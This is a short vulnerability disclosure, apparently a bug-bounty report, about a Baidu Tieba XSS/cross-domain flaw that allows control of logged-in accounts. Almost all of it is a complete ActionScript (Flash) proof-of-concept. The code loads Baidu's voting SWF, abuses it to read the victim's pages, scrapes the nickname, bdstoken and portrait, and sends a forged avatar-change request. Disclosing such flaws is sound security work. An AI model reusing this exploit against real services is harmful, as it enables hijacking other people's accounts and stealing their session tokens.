百度贴吧XSS漏洞可控制已登录的贴吧账号（删帖、修改资料等）

漏洞证明：

package {

import flash.display.*;

import flash.events.*;

import flash.net.*;

import flash.system.*;

import flash.utils.*;

public class exp extends Sprite {

private static const PATH:String =

'baidu.vote.DataManager'

private static const URL:String =

'http://tieba.baidu.com/tb/static-itieba3/swf/itiebaVote.swf'

private var clsExp:*;

private var clsRes:*;

public function exp() {

Security.allowDomain('*');

var ld:Loader = new Loader();

ld.load(new URLRequest(URL));

addChild(ld);

var tid:uint = setInterval(function() : void {

try {

clsExp = ld.contentLoaderInfo.applicationDomain.getDefinition(PATH);

clsRes= ld.contentLoaderInfo.applicationDomain.getDefinition('baidu.vote.enumerate.Constants');

} catch(e:Error) {

return;

}

clearInterval(tid);

ready();

}, 100);

}

private function load(url:String) : void {

var obj:* = clsExp.getInstance();

obj.requestPageData({

'r': 1,

'voteId': 1,

'tn': 1

});

clsRes.URL_VOTE_DETAIL = url + '#';

obj.requestVoteDetail();

}

private function ready() : void {

loaderInfo.uncaughtErrorEvents.addEventListener(UncaughtErrorEvent.UNCAUGHT_ERROR, function(e:UncaughtErrorEvent) : void {

complete(e.error.text);

});

load('http://tieba.baidu.com/');

}

private var stat:int = 0;

private var nick:String;

private var bdstoken:String, portrait:String;

private function complete(data:String) : void {

var arr:Array;

switch (stat) {

case 0:

// get nick (from main page)

arr = data.match(/"name": "([^"]+)/);

if (arr) nick = arr[1];

if (!nick) {

trace('fail get nick');

return;

}

trace('nick:', nick);

load('http://tieba.baidu.com/home/profile?un=' + nick);

break;

case 1:

// get token (from profile page)

arr = data.match(/\[PageData, '([^']+)/);

if (arr) bdstoken = arr[1];

if (!bdstoken) {

trace('fail get bdstoken');

return;

}

trace('bdstoken:', bdstoken);

// get portrait

arr = data.match(/portrait": "([^"]+)/);

if (arr) portrait = arr[1];

if (!portrait) {

trace('fail get portrait');

return;

}

trace('portrait:', portrait);

// new avatar

var url:String = 'http://himg.baidu.com/sys/corpupload?callback=A&coordX=0&coordY=0&coordW=200&coordH=200&psign=' + portrait + '&picId=21751076141&bdstoken=' + bdstoken;

sendToURL(new URLRequest(url));

break;

}

stat++;

}

}

}